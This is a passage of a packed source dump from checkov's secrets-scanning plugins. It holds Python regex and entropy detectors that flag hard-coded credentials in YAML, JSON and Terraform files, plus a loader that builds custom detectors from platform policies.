**kwargs\n        )\n\n        if filename not in self._analyzed_files:\n            self._analyzed_files.add(filename)\n            # We only want to read file if: there is regex supporting it & file size is not over MAX_FILE_SIZE\n            # Notice: in the find potential secret we check per multiline regex if we should run it according the filetype.\n            #   This is only a validation to reduce file content reading in case it not supported at all\n            if not self.multiline_regex_to_metadata.values() or \\\n                    not self.multiline_regex_supported_file_types or \\\n                    not any([filename.endswith(str(file_type)) for file_type in self.multiline_regex_supported_file_types]) or \\\n                    not 0 < get_file_size_safe(filename) < CustomRegexDetector.MAX_FILE_SIZE:\n                return output\n\n            file_content = read_file_safe(filename)\n            if not file_content:\n                return output\n\n            self._find_potential_secret(\n                filename=filename,\n                string_to_analyze=file_content,\n                output=output,\n                line_number=1,\n                context=raw_context,\n                is_multiline=True,\n                **kwargs\n            )\n\n        return output\n\n    def _find_potential_secret(\n            self,\n            filename: str,\n            string_to_analyze: str,\n            output: Set[PotentialSecret],\n            line_number: int = 0,\n            context: Optional[CodeSnippet] = None,\n            is_multiline: bool = False,\n            is_added: bool = False,\n            is_removed: bool = False,\n            **kwargs: Any\n    ) -> None:\n        current_denylist: Set[Pattern[str]] = set()\n        if is_multiline:\n            # We want the multiline regex to execute only if current file is supported by them\n            for regex in self.multiline_deny_list:\n                regex_supported_files = self.multiline_regex_to_metadata.get(regex.pattern, {}).get(\"supportedFiles\", [])\n                if regex_supported_files and any([filename.endswith(regex_supported_file) for regex_supported_file in regex_supported_files]):\n                    current_denylist.add(regex)\n        else:\n            current_denylist = self.denylist\n\n        current_regex_to_metadata: dict[str, dict[str, Any]] = self.multiline_regex_to_metadata if is_multiline else self.regex_to_metadata\n        kwargs[\"regex_denylist\"] = current_denylist\n        for match, regex in self.analyze_string(string_to_analyze, **kwargs):\n            if len(match) == 0:\n                # Skip empty matches\n                continue\n            try:\n                verified_result = call_function_with_arguments(self.verify, secret=match, context=context)\n                is_verified = True if verified_result == VerifiedResult.VERIFIED_TRUE else False\n            except Exception:\n                is_verified = False\n            regex_data = current_regex_to_metadata[regex.pattern]\n\n            # It's a multiline regex (only the prerun executed). We should execute the whole multiline pattern\n            # We want to run multiline policy once per file (if prerun was found)\n            if regex_data.get(\"prerun\"):\n                if filename in self._analyzed_files_by_check[regex_data['Check_ID']]:\n                    continue\n                self._analyzed_files_by_check[regex_data['Check_ID']].add(filename)\n\n                # We are going to scan the whole file with the multiline regex\n                if not 0 < get_file_size_safe(filename) < CustomRegexDetector.MAX_FILE_SIZE:\n                    continue\n                file_content = read_file_safe(filename)\n                if not file_content:\n                    continue\n                multiline_regex = self.pattern_by_prerun_compiled.get(regex.pattern)\n                if multiline_regex is None:\n                    continue\n                multiline_matches = multiline_regex.findall(file_content)\n                for mm in multiline_matches:\n                    mm = self._extract_real_regex_match(mm)\n                    if isinstance(mm, tuple):\n                        mm = mm[0]\n                    line_num = find_line_number(file_content, mm, line_number)\n                    quoted_mm = f\"'{mm}'\"\n                    ps = PotentialSecret(\n                        type=regex_data[\"Name\"],\n                        filename=filename,\n                        secret=quoted_mm,\n                        line_number=line_num,\n                        is_verified=is_verified,\n                        is_added=is_added,\n                        is_removed=is_removed,\n                        is_multiline=True,\n                    )\n                    ps.check_id = regex_data[\"Check_ID\"]\n                    output.add(ps)\n                continue\n\n            # Wrap multiline match with fstring + ''\n            match = f\"'{match}'\" if is_multiline else match\n            ps = PotentialSecret(\n                type=regex_data[\"Name\"],\n                filename=filename,\n                secret=match,\n                line_number=line_number,\n                is_verified=is_verified,\n                is_added=is_added,\n                is_removed=is_removed,\n                is_multiline=is_multiline,\n            )\n            ps.check_id = current_regex_to_metadata[regex.pattern][\"Check_ID\"]\n            if is_multiline:\n                output.add(ps)\n            elif len(cast(str, ps.secret_value)) in range(MIN_CHARACTERS, MAX_CHARACTERS) or not regex_data['isCustom']:\n                output.add(ps)\n            else:\n                logging.info(\n                    f'Finding for check {ps.check_id} are not 5-100 characters in length, was ignored')\n\n    def analyze_string(self, string: str, **kwargs: Optional[Dict[str, Any]]) -> Generator[Tuple[str, Pattern[str]], None, None]:  # type:ignore[override]\n        regex_denylist: Set[Pattern[str]] = kwargs.get(\"regex_denylist\", self.denylist)  # type: ignore[assignment]\n        for regex in regex_denylist:\n            for match in regex.findall(string):\n                if isinstance(match, tuple):\n                    for submatch in filter(bool, match):\n                        # It might make sense to paste break after yielding\n                        yield submatch, regex\n                else:\n                    yield match, regex\n\n    def _extract_real_regex_match(self, regex_matches: Union[str, Tuple[str]]) -> Union[str, Tuple[str]]:\n        if isinstance(regex_matches, tuple):\n            for match in regex_matches:\n                if match:\n                    return match\n\n        return regex_matches\n\n\ndef find_line_number(file_string: str, substring: str, default_line_number: int) -> int:\n    try:\n        lines = file_string.splitlines()\n\n        for line_number, line in enumerate(lines, start=1):\n            if substring in line:\n                return line_number\n        return default_line_number\n    except Exception:\n        return default_line_number\n"
  },
  {
    "path": "checkov/secrets/plugins/detector_utils.py",
    "content": "from __future__ import annotations\n\nimport json\nimport re\nfrom re import Pattern\nfrom typing import Any, TYPE_CHECKING, Optional\n\nfrom detect_secrets.util.filetype import FileType\nfrom detect_secrets.plugins.keyword import DENYLIST\nfrom detect_secrets.plugins.keyword import AFFIX_REGEX\nfrom detect_secrets.plugins.keyword import CLOSING\nfrom detect_secrets.plugins.keyword import OPTIONAL_WHITESPACE\nfrom detect_secrets.plugins.keyword import QUOTE\nfrom detect_secrets.plugins.keyword import SECRET\n\nfrom checkov.secrets.parsers.terraform.multiline_parser import terraform_multiline_parser\nfrom checkov.secrets.parsers.terraform.single_line_parser import terraform_single_line_parser\nfrom checkov.secrets.parsers.yaml.multiline_parser import yml_multiline_parser\nfrom checkov.secrets.parsers.json.multiline_parser import json_multiline_parser\n\nif TYPE_CHECKING:\n    from checkov.secrets.parsers.multiline_parser import BaseMultiLineParser\n    from detect_secrets.core.potential_secret import PotentialSecret\n    from detect_secrets.util.code_snippet import CodeSnippet\n    from detect_secrets.plugins.base import BasePlugin\n\nMAX_KEYWORD_LIMIT = 500\n\nB64_FP_REGEX = re.compile(r'\\b[A-Za-z]+_+[A-Za-z_]*[A-Za-z]\\b')\n\nDENY_LIST_REGEX = r'|'.join(DENYLIST)\n# Support for suffix after keyword i.e. password_secure = \"value\"\nDENY_LIST_REGEX2 = r'({denylist}){suffix}'.format(\n    denylist=DENY_LIST_REGEX,\n    suffix=AFFIX_REGEX,\n)\n\nKEY = r'{words}({closing})?'.format(\n    words=AFFIX_REGEX,\n    closing=CLOSING,\n)\n\nFOLLOWED_BY_COLON_VALUE_KEYWORD_REGEX = re.compile(\n    # e.g. var: MY_PASSWORD_123\n    r'{whitespace}({key})?:{whitespace}({quote}?){words}{denylist}({closing})?(\\3)'.format(\n        key=KEY,\n        whitespace=OPTIONAL_WHITESPACE,\n        quote=QUOTE,\n        words=AFFIX_REGEX,\n        denylist=DENY_LIST_REGEX2,\n        closing=CLOSING,\n    ),\n    flags=re.IGNORECASE,\n)\n\nQUOTES_REQUIRED_FOLLOWED_BY_COLON_VALUE_KEYWORD_REGEX = re.compile(\n    # e.g. var: MY_PASSWORD_123\n    r'{whitespace}\"({key})?\":{whitespace}(\"?){words}{denylist}({closing})?(\\3)'.format(\n        key=KEY,\n        whitespace=OPTIONAL_WHITESPACE,\n        words=AFFIX_REGEX,\n        denylist=DENY_LIST_REGEX2,\n        closing=CLOSING,\n    ),\n    flags=re.IGNORECASE,\n)\n\nFOLLOWED_BY_COLON_VALUE_SECRET_REGEX = re.compile(\n    # e.g. var: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\n    r'{whitespace}({key})?:{whitespace}({quote}?)({secret})(\\3)'.format(\n        key=KEY,\n        whitespace=OPTIONAL_WHITESPACE,\n        quote=QUOTE,\n        secret=SECRET,\n    ),\n    flags=re.IGNORECASE,\n)\n\nQUOTES_REQUIRED_FOLLOWED_BY_COLON_VALUE_SECRET_REGEX = re.compile(\n    # e.g. var: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\n    r'{whitespace}\"({key})?\":{whitespace}(\"?)({secret})(\\3)'.format(\n        key=KEY,\n        whitespace=OPTIONAL_WHITESPACE,\n        secret=SECRET,\n    ),\n    flags=re.IGNORECASE,\n)\n\nFOLLOWED_BY_EQUAL_VALUE_KEYWORD_REGEX = re.compile(\n    # e.g. var = MY_PASSWORD_123\n    r'{whitespace}({key})?={whitespace}({quote}?){words}{denylist}({closing})?(\\3)'.format(\n        key=KEY,\n        whitespace=OPTIONAL_WHITESPACE,\n        quote=QUOTE,\n        words=AFFIX_REGEX,\n        denylist=DENY_LIST_REGEX2,\n        closing=CLOSING,\n    ),\n    flags=re.IGNORECASE,\n)\n\nFOLLOWED_BY_EQUAL_VALUE_SECRET_REGEX = re.compile(\n    # e.g. var = Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\n    r'{whitespace}({key})?={whitespace}({quote}?)({secret})(\\3)'.format(\n        key=KEY,\n        whitespace=OPTIONAL_WHITESPACE,\n        quote=QUOTE,\n        secret=SECRET,\n    ),\n    flags=re.IGNORECASE,\n)\n\nALLOW_LIST = (  # can add more keys like that\n    'secretsmanager',\n    \"secretName\",\n    \"secret_name\",\n    \"creation_token\",\n    \"client_secret_setting_name\",\n)\nALLOW_LIST_REGEX = r'|'.join(ALLOW_LIST)\n# Support for suffix of function name i.e \"secretsmanager:GetSecretValue\"\nCAMEL_CASE_NAMES = r'[A-Z]([A-Z0-9]*[a-z][a-z0-9]*[A-Z]|[a-z0-9]*[A-Z][A-Z0-9]*[a-z])[A-Za-z0-9]*'\nFUNCTION_CALL_AFTER_KEYWORD_REGEX = re.compile(r'({allowlist})\\s*(:|=)\\s*{suffix}'.format(\n    allowlist=ALLOW_LIST_REGEX,\n    suffix=AFFIX_REGEX,\n))\n\n#  if the current regex is not enough, can add more regexes to check\n\nYML_PAIR_VALUE_KEYWORD_REGEX_TO_GROUP = {\n    FOLLOWED_BY_COLON_VALUE_KEYWORD_REGEX: 4,\n}\n\nYML_PAIR_VALUE_SECRET_REGEX_TO_GROUP = {\n    FOLLOWED_BY_COLON_VALUE_SECRET_REGEX: 4,\n}\n\nJSON_PAIR_VALUE_KEYWORD_REGEX_TO_GROUP = {\n    QUOTES_REQUIRED_FOLLOWED_BY_COLON_VALUE_KEYWORD_REGEX: 4,\n}\n\nJSON_PAIR_VALUE_SECRET_REGEX_TO_GROUP = {\n    QUOTES_REQUIRED_FOLLOWED_BY_COLON_VALUE_SECRET_REGEX: 4,\n}\n\nTERRAFORM_PAIR_VALUE_KEYWORD_REGEX_TO_GROUP = {\n    FOLLOWED_BY_EQUAL_VALUE_KEYWORD_REGEX: 4,\n}\n\nTERRAFORM_PAIR_VALUE_SECRET_REGEX_TO_GROUP = {\n    FOLLOWED_BY_EQUAL_VALUE_SECRET_REGEX: 4,\n}\n\nREGEX_VALUE_KEYWORD_BY_FILETYPE = {\n    FileType.YAML: YML_PAIR_VALUE_KEYWORD_REGEX_TO_GROUP,\n    FileType.JSON: JSON_PAIR_VALUE_KEYWORD_REGEX_TO_GROUP,\n    FileType.TERRAFORM: TERRAFORM_PAIR_VALUE_KEYWORD_REGEX_TO_GROUP,\n}\n\nREGEX_VALUE_SECRET_BY_FILETYPE = {\n    FileType.YAML: YML_PAIR_VALUE_SECRET_REGEX_TO_GROUP,\n    FileType.JSON: JSON_PAIR_VALUE_SECRET_REGEX_TO_GROUP,\n    FileType.TERRAFORM: TERRAFORM_PAIR_VALUE_SECRET_REGEX_TO_GROUP,\n}\n\nSINGLE_LINE_PARSER = {\n    FileType.TERRAFORM: terraform_single_line_parser,\n}\n\nMULTILINE_PARSERS = {\n    FileType.YAML: (\n        (FileType.YAML, yml_multiline_parser),\n    ),\n    FileType.JSON: (\n        (FileType.JSON, json_multiline_parser),\n    ),\n    FileType.TERRAFORM: (\n        (FileType.TERRAFORM, terraform_multiline_parser),\n        (FileType.JSON, json_multiline_parser),\n        (FileType.YAML, yml_multiline_parser),\n    ),\n}\n\n\ndef remove_fp_secrets_in_keys(detected_secrets: set[PotentialSecret], line: str, is_code_file: bool = False) -> None:\n    formatted_line = line.replace('\"', '').replace(\"'\", '')\n    secrets_to_remove = set()\n    for detected_secret in detected_secrets:\n        if not detected_secret.secret_value:\n            continue\n        processed_line = get_processed_line(formatted_line, detected_secret.secret_value)\n        # Found keyword prefix as potential secret\n        if processed_line.startswith(detected_secret.secret_value):\n            secrets_to_remove.add(detected_secret)\n        # found a function name at the end of the line\n        if processed_line and FUNCTION_CALL_AFTER_KEYWORD_REGEX.search(processed_line):\n            secrets_to_remove.add(detected_secret)\n        # secret value is substring of keyword\n        if is_code_file and FOLLOWED_BY_EQUAL_VALUE_KEYWORD_REGEX.search(processed_line):\n            key, value = line.split(\"=\", 1)\n            if detected_secret.secret_value in key and detected_secret.secret_value in value:\n                secrets_to_remove.add(detected_secret)\n        # strings which are all lower/upper case letters are suspected to not be base64 high entropy strings\n        # the 2nd part of the end is to make test_non_multiline_pair_time_limit_creating_report pass\n        if B64_FP_REGEX.search(detected_secret.secret_value) and \"SECRET\" not in detected_secret.secret_value:\n            secrets_to_remove.add(detected_secret)\n    detected_secrets -= secrets_to_remove\n\n\ndef get_processed_line(formatted_line: str, secret_value: str) -> str:\n    if not formatted_line.startswith(secret_value) and formatted_line.find(\":\",\n                                                                           formatted_line.rfind(secret_value) + len(\n                                                                               secret_value)) > -1:\n        return formatted_line[formatted_line.find(secret_value):]\n    return formatted_line\n\n\ndef format_reducing_noise_secret(string: str) -> str:\n    return json.dumps(string)\n\n\ndef extract_from_string(pattern: dict[Pattern[str], int] | None, string: str) -> set[str]:\n    matches: set[str] = set()\n    if not pattern:\n        return matches\n    for value_regex, group_number in pattern.items():\n        match = value_regex.search(string)\n        if match:\n            matches |= {match.group(group_number).rstrip('\\n')}\n    return matches\n\n\ndef detect_secret(\n        scanners: tuple[BasePlugin, ...],\n        filename: str,\n        line: str,\n        line_number: int = 0,\n        is_multiline: Optional[bool] = None,\n        **kwargs: Any,\n) -> set[PotentialSecret]:\n    for scanner in scanners:\n        matches = scanner.analyze_line(filename, line, line_number, **kwargs)\n        if matches:\n            if is_multiline:\n                mark_set_multiline(matches)\n            return matches\n    return set()\n\n\ndef analyze_multiline_keyword_combinator(\n        filename: str,\n        scanners: tuple[BasePlugin, ...],\n        multiline_parser: BaseMultiLineParser,\n        line_number: int,\n        context: CodeSnippet | None = None,\n        raw_context: CodeSnippet | None = None,\n        value_pattern: dict[Pattern[str], int] | None = None,\n        secret_pattern: dict[Pattern[str], int] | None = None,\n        is_added: bool = False,\n        is_removed: bool = False,\n        **kwargs: Any,\n) -> set[PotentialSecret]:\n    secrets: set[PotentialSecret] = set()\n    if context is None or raw_context is None:\n        return secrets\n    value_secrets = extract_from_string(pattern=secret_pattern, string=context.target_line)\n    for possible_secret in value_secrets:\n        secret_adjust = format_reducing_noise_secret(possible_secret)\n\n        potential_secrets = detect_secret(\n            scanners=scanners,\n            filename=filename,\n            line=secret_adjust,\n            line_number=line_number,\n            is_added=is_added,\n            is_removed=is_removed,\n            is_multiline=True,  # always true because we check here for multiline\n            kwargs=kwargs\n        )\n\n        if potential_secrets:\n            possible_keywords: set[str] = set()\n            backwards_range = range(context.target_index - 1, -1, -1)\n            forward_range = range(context.target_index + 1, len(context.lines))\n\n            possible_keywords |= multiline_parser.get_lines_from_same_object(\n                search_range=forward_range,\n                context=context,\n                raw_context=raw_context,\n                line_length_limit=MAX_KEYWORD_LIMIT)\n            possible_keywords |= multiline_parser.get_lines_from_same_object(\n                search_range=backwards_range,\n                context=context,\n                raw_context=raw_context,\n                line_length_limit=MAX_KEYWORD_LIMIT)\n\n            for other_value in possible_keywords:\n                if extract_from_string(pattern=value_pattern, string=other_value):\n                    secrets |= potential_secrets\n                    break\n    return secrets\n\n\ndef mark_set_multiline(secrets: set[PotentialSecret]) -> None:\n    for sec in secrets:\n        sec.is_multiline = True\n"
  },
  {
    "path": "checkov/secrets/plugins/entropy_keyword_combinator.py",
    "content": "from __future__ import annotations\n\nimport re\nimport os\nfrom typing import Generator, Set, Tuple\nfrom typing import Any\nfrom typing import TYPE_CHECKING\n\nfrom detect_secrets.plugins.high_entropy_strings import Base64HighEntropyString\nfrom detect_secrets.plugins.high_entropy_strings import HexHighEntropyString\nfrom detect_secrets.plugins.keyword import KeywordDetector\nfrom detect_secrets.plugins.keyword import DENYLIST\nfrom detect_secrets.plugins.keyword import AFFIX_REGEX\nfrom detect_secrets.plugins.keyword import CLOSING\nfrom detect_secrets.plugins.keyword import OPTIONAL_WHITESPACE\nfrom detect_secrets.plugins.keyword import QUOTE\nfrom detect_secrets.plugins.keyword import SECRET\nfrom detect_secrets.plugins.base import BasePlugin\n\nfrom detect_secrets.util.filetype import determine_file_type\nfrom checkov.secrets.plugins.detector_utils import SINGLE_LINE_PARSER, MULTILINE_PARSERS, \\\n    REGEX_VALUE_KEYWORD_BY_FILETYPE, REGEX_VALUE_SECRET_BY_FILETYPE, remove_fp_secrets_in_keys, detect_secret, \\\n    analyze_multiline_keyword_combinator, mark_set_multiline\n\nfrom checkov.secrets.runner import SOURCE_CODE_EXTENSION\n\nif TYPE_CHECKING:\n    from detect_secrets.core.potential_secret import PotentialSecret\n    from detect_secrets.util.code_snippet import CodeSnippet\n\nMAX_LINE_LENGTH = 10000\nMAX_KEYWORD_LIMIT = 500\nENTROPY_KEYWORD_COMBINATOR_LIMIT = float(os.getenv('CHECKOV_ENTROPY_KEYWORD_LIMIT', '3'))\nENTROPY_KEYWORD_LIMIT = 4.8\n\nDENY_LIST_REGEX = r'|'.join(DENYLIST)\n# Support for suffix after keyword i.e. password_secure = \"value\"\nDENY_LIST_REGEX2 = r'({denylist}){suffix}'.format(\n    denylist=DENY_LIST_REGEX,\n    suffix=AFFIX_REGEX,\n)\n\nKEY = r'{words}({closing})?'.format(\n    words=AFFIX_REGEX,\n    closing=CLOSING,\n)\n\nFOLLOWED_BY_COLON_VALUE_KEYWORD_REGEX = re.compile(\n    # e.g. var: MY_PASSWORD_123\n    r'{whitespace}({key})?:{whitespace}({quote}?){words}{denylist}({closing})?(\\3)'.format(\n        key=KEY,\n        whitespace=OPTIONAL_WHITESPACE,\n        quote=QUOTE,\n        words=AFFIX_REGEX,\n        denylist=DENY_LIST_REGEX2,\n        closing=CLOSING,\n    ),\n    flags=re.IGNORECASE,\n)\n\nQUOTES_REQUIRED_FOLLOWED_BY_COLON_VALUE_KEYWORD_REGEX = re.compile(\n    # e.g. var: MY_PASSWORD_123\n    r'{whitespace}\"({key})?\":{whitespace}(\"?){words}{denylist}({closing})?(\\3)'.format(\n        key=KEY,\n        whitespace=OPTIONAL_WHITESPACE,\n        words=AFFIX_REGEX,\n        denylist=DENY_LIST_REGEX2,\n        closing=CLOSING,\n    ),\n    flags=re.IGNORECASE,\n)\n\nFOLLOWED_BY_COLON_VALUE_SECRET_REGEX = re.compile(\n    # e.g. var: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\n    r'{whitespace}({key})?:{whitespace}({quote}?)({secret})(\\3)'.format(\n        key=KEY,\n        whitespace=OPTIONAL_WHITESPACE,\n        quote=QUOTE,\n        secret=SECRET,\n    ),\n    flags=re.IGNORECASE,\n)\n\nQUOTES_REQUIRED_FOLLOWED_BY_COLON_VALUE_SECRET_REGEX = re.compile(\n    # e.g. var: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\n    r'{whitespace}\"({key})?\":{whitespace}(\"?)({secret})(\\3)'.format(\n        key=KEY,\n        whitespace=OPTIONAL_WHITESPACE,\n        secret=SECRET,\n    ),\n    flags=re.IGNORECASE,\n)\n\nFOLLOWED_BY_EQUAL_VALUE_KEYWORD_REGEX = re.compile(\n    # e.g. var = MY_PASSWORD_123\n    r'{whitespace}({key})?={whitespace}({quote}?){words}{denylist}({closing})?(\\3)'.format(\n        key=KEY,\n        whitespace=OPTIONAL_WHITESPACE,\n        quote=QUOTE,\n        words=AFFIX_REGEX,\n        denylist=DENY_LIST_REGEX2,\n        closing=CLOSING,\n    ),\n    flags=re.IGNORECASE,\n)\n\nFOLLOWED_BY_EQUAL_VALUE_SECRET_REGEX = re.compile(\n    # e.g. var = Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\n    r'{whitespace}({key})?={whitespace}({quote}?)({secret})(\\3)'.format(\n        key=KEY,\n        whitespace=OPTIONAL_WHITESPACE,\n        quote=QUOTE,\n        secret=SECRET,\n    ),\n    flags=re.IGNORECASE,\n)\n\n\nclass EntropyKeywordCombinator(BasePlugin):\n    secret_type = \"\"  # nosec  # noqa: CCE003  # a static attribute\n\n    def __init__(self, limit: float = ENTROPY_KEYWORD_LIMIT, max_line_length: int = MAX_LINE_LENGTH,\n                 entropy_limit: float = ENTROPY_KEYWORD_COMBINATOR_LIMIT) -> None:\n        self.entropy_limit = entropy_limit\n        self.high_entropy_scanners_iac = (\n            Base64HighEntropyString(\n                limit=entropy_limit), HexHighEntropyString(\n                limit=entropy_limit))\n        self.entropy_scanners_non_iac_with_keyword = (\n            Base64HighEntropyString(\n                limit=entropy_limit + 0.3),\n            HexHighEntropyString(\n                limit=entropy_limit + 0.3))\n        self.high_entropy_scanners = (Base64HighEntropyString(limit=limit), HexHighEntropyString(limit=limit))\n        self.keyword_scanner = KeywordDetector()\n        self.max_line_length = max_line_length\n\n    def analyze_string(self, string: str) -> Generator[str, None, None]:\n        yield \"\"\n\n    def analyze_line(\n            self,\n            filename: str,\n            line: str,\n            line_number: int = 0,\n            context: CodeSnippet | None = None,\n            raw_context: CodeSnippet | None = None,\n            **kwargs: Any,\n    ) -> set[PotentialSecret]:\n        if len(line) > self.max_line_length:\n            # to keep good performance we skip long lines\n            return set()\n\n        is_iac = f\".{filename.split('.')[-1]}\" not in SOURCE_CODE_EXTENSION\n        keyword_on_key = self.keyword_scanner.analyze_line(filename, line, line_number, **kwargs)\n        if is_iac:\n            filetype = determine_file_type(filename)\n            single_line_parser = SINGLE_LINE_PARSER.get(filetype)\n            multiline_parsers = MULTILINE_PARSERS.get(filetype)\n\n            # classic key-value pair\n            if keyword_on_key:\n                if single_line_parser:\n                    # Getting last detected one as only 1 violation available for line\n                    secret_value, quoted_secret = EntropyKeywordCombinator.receive_last_secret_detected(keyword_on_key)\n                    old_line = line\n                    line = quoted_secret if quoted_secret else line\n                    detected_secrets = single_line_parser.detect_secret(\n                        scanners=self.high_entropy_scanners_iac,\n                        filename=filename,\n                        raw_context=raw_context,\n                        line=line,\n                        line_number=line_number,\n                        kwargs=kwargs\n                    )\n                    remove_fp_secrets_in_keys(detected_secrets, old_line)\n                    return detected_secrets\n                else:\n                    # preprocess line before detecting secrets - add quotes on potential secrets to allow triggering\n                    # entropy detector\n                    secret_value, quoted_secret = EntropyKeywordCombinator.receive_last_secret_detected(keyword_on_key)\n                    if line.find(quoted_secret) < 0:    # replace potential secret with quoted version\n                        line = line.replace(secret_value, quoted_secret, 1)\n                    detected_secrets = detect_secret(\n                        scanners=self.high_entropy_scanners_iac,\n                        filename=filename,\n                        line=line,\n                        line_number=line_number,\n                        kwargs=kwargs\n                    )\n                    # postprocess detected secrets - filter out potential secrets on keyword\n                    remove_fp_secrets_in_keys(detected_secrets, line)\n                    return detected_secrets\n\n            # not so classic key-value pair, from multiline, that is only in an array format.\n            # The scan searches forwards and backwards for a potential secret pair, so no duplicates expected.\n            elif multiline_parsers:\n                # iterate over multiple parser and their related file type.\n                # this is needed for file types, which embed other file type parser, ex Terraform with heredoc\n                for parser_file_type, multiline_parser in multiline_parsers:\n                    value_keyword_regex_to_group = REGEX_VALUE_KEYWORD_BY_FILETYPE.get(parser_file_type)\n                    secret_keyword_regex_to_group = REGEX_VALUE_SECRET_BY_FILETYPE.get(parser_file_type)\n\n                    potential_secrets = analyze_multiline_keyword_combinator(\n                        filename=filename,\n                        scanners=self.high_entropy_scanners,\n                        multiline_parser=multiline_parser,\n                        line_number=line_number,\n                        context=context,\n                        raw_context=raw_context,\n                        value_pattern=value_keyword_regex_to_group,\n                        secret_pattern=secret_keyword_regex_to_group,\n                        kwargs=kwargs\n                    )\n\n                    if potential_secrets:\n                        mark_set_multiline(potential_secrets)\n                        # return a possible secret, otherwise check with next parser\n                        return potential_secrets\n        else:\n            detected_secrets = detect_secret(\n                # If we found a keyword (i.e. db_pass = ), lower the threshold to the iac threshold\n                scanners=self.high_entropy_scanners if not keyword_on_key else self.entropy_scanners_non_iac_with_keyword,\n                filename=filename,\n                line=line,\n                line_number=line_number,\n                kwargs=kwargs\n            )\n            if detected_secrets:\n                remove_fp_secrets_in_keys(detected_secrets, line, True)\n            return detected_secrets\n\n        return set()\n\n    @staticmethod\n    def convert_to_reduce_noise(secret_value: str) -> str:\n        # For empty string return empty string\n        if not secret_value:\n            return ''\n        return f\"\\\"{secret_value}\\\"\"\n\n    @staticmethod\n    def receive_last_secret_detected(keyword_on_key: Set[PotentialSecret]) -> Tuple[str, str]:\n        return_value = ''\n        quoted_return_value = ''\n        for pt in keyword_on_key:\n            if pt.secret_value:\n                return_value = pt.secret_value\n                quoted_return_value = EntropyKeywordCombinator.convert_to_reduce_noise(pt.secret_value)\n        return return_value, quoted_return_value\n"
  },
  {
    "path": "checkov/secrets/plugins/load_detectors.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import Any, Dict, List, Optional\nimport yaml\n\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.util.file_utils import decompress_file_gzip_base64\n\n\ndef load_detectors() -> list[dict[str, Any]]:\n    detectors: List[dict[str, Any]] = []\n    try:\n        customer_run_config_response = bc_integration.customer_run_config_response\n        policies_list: List[dict[str, Any]] = []\n        if customer_run_config_response:\n            policies_list = customer_run_config_response.get('secretsPolicies', [])\n    except Exception as e:\n        logging.error(f\"Failed to get detectors from customer_run_config_response, error: {e}\")\n        return []\n\n    if policies_list:\n        detectors = modify_secrets_policy_to_detectors(policies_list)\n    if detectors:\n        logging.info(f\"Successfully loaded {len(detectors)} detectors from bc_integration\")\n    return detectors\n\n\ndef modify_secrets_policy_to_detectors(policies_list: List[dict[str, Any]]) -> List[dict[str, Any]]:\n    secrets_list = transforms_policies_to_detectors_list(policies_list)\n    logging.debug(f\"(modify_secrets_policy_to_detectors) len secrets_list = {len(secrets_list)}\")\n    return secrets_list\n\n\ndef add_to_custom_detectors(custom_detectors: List[Dict[str, Any]], name: str, check_id: str, regex: str, prerun: str,\n                            is_custom: str, is_multiline: bool = False, supported_files: Optional[List[str]] = None) -> None:\n    custom_detectors.append({\n        'Name': name,\n        'Check_ID': check_id,\n        'Regex': regex,\n        'isCustom': is_custom,\n        'isMultiline': is_multiline,\n        'supportedFiles': supported_files if supported_files else [],\n        'prerun': prerun\n    })\n\n\ndef add_detectors_from_condition_query(custom_detectors: List[Dict[str, Any]], condition_query: Dict[str, Any],\n                                       secret_policy: Dict[str, Any], check_id: str) -> bool:\n    parsed = False\n    cond_type = condition_query['cond_type']\n    if cond_type == 'secrets':\n        value = condition_query['value']\n        if isinstance(value, str):\n            value = [value]\n        for regex in value:\n            parsed = True\n            add_to_custom_detectors(custom_detectors, secret_policy['title'], check_id, regex, \"\",\n                                    secret_policy['isCustom'])\n    return parsed\n\n\ndef add_detectors_from_code(custom_detectors: List[Dict[str, Any]], code: str, secret_policy: Dict[str, Any],\n                            check_id: str) -> bool:\n    parsed = False\n    code_dict = yaml.safe_load(code)\n    if 'definition' in code_dict and 'value' in code_dict['definition']:\n        if 'is_runnable' in code_dict['definition']:\n            # runnable detectors are parsed separately in 'get_runnable_plugins()'\n            return True\n\n        parsed = True\n        if isinstance(code_dict['definition']['value'], str):\n            code_dict['definition']['value'] = [code_dict['definition']['value']]\n        for regex in code_dict['definition']['value']:\n            add_to_custom_detectors(\n                custom_detectors,\n                secret_policy['title'],\n                check_id,\n                regex,\n                # Only one prerun per multiline regex\n                code_dict['definition'].get('prerun', [''])[0],\n                secret_policy['isCustom'],\n                code_dict['definition'].get(\"multiline\", False),\n                code_dict['definition'].get(\"supported_files\", [])\n            )\n    return parsed\n\n\ndef transforms_policies_to_detectors_list(custom_secrets: List[Dict[str, Any]]) -> List[Dict[str, Any]]:\n    custom_detectors: List[Dict[str, Any]] = []\n    condition_query = None\n    for secret_policy in custom_secrets:\n        parsed = False\n        check_id = secret_policy['checkovCheckId'] if secret_policy['checkovCheckId'] else \\\n            secret_policy['incidentId']\n        code = secret_policy['code']\n        if 'conditionQuery' in secret_policy:\n            condition_query = secret_policy['conditionQuery']\n        if condition_query:\n            parsed = add_detectors_from_condition_query(custom_detectors, condition_query, secret_policy, check_id)\n        elif code:\n            parsed = add_detectors_from_code(custom_detectors, code, secret_policy, check_id)\n        if not parsed:\n            logging.info(f\"policy : {secret_policy} could not be parsed\")\n    return custom_detectors\n\n\ndef get_runnable_plugins(policies: List[Dict[str, Any]]) -> Dict[str, str]:\n    runnables: dict[str, str] = {}\n    for policy in policies:\n        code = policy['code']\n        if code:\n            try:\n                code_dict = yaml.safe_load(code)\n                if 'definition' in code_dict:\n                    if 'is_runnable' in code_dict['definition'] and 'value' in code_dict['definition']:\n                        encoded_payload = code_dict['definition']['value']\n                        if isinstance(encoded_payload, list):\n                            encoded_payload = encoded_payload[0]\n                        decoded_payload = decompress_file_gzip_base64(encoded_payload)\n                        name: str = 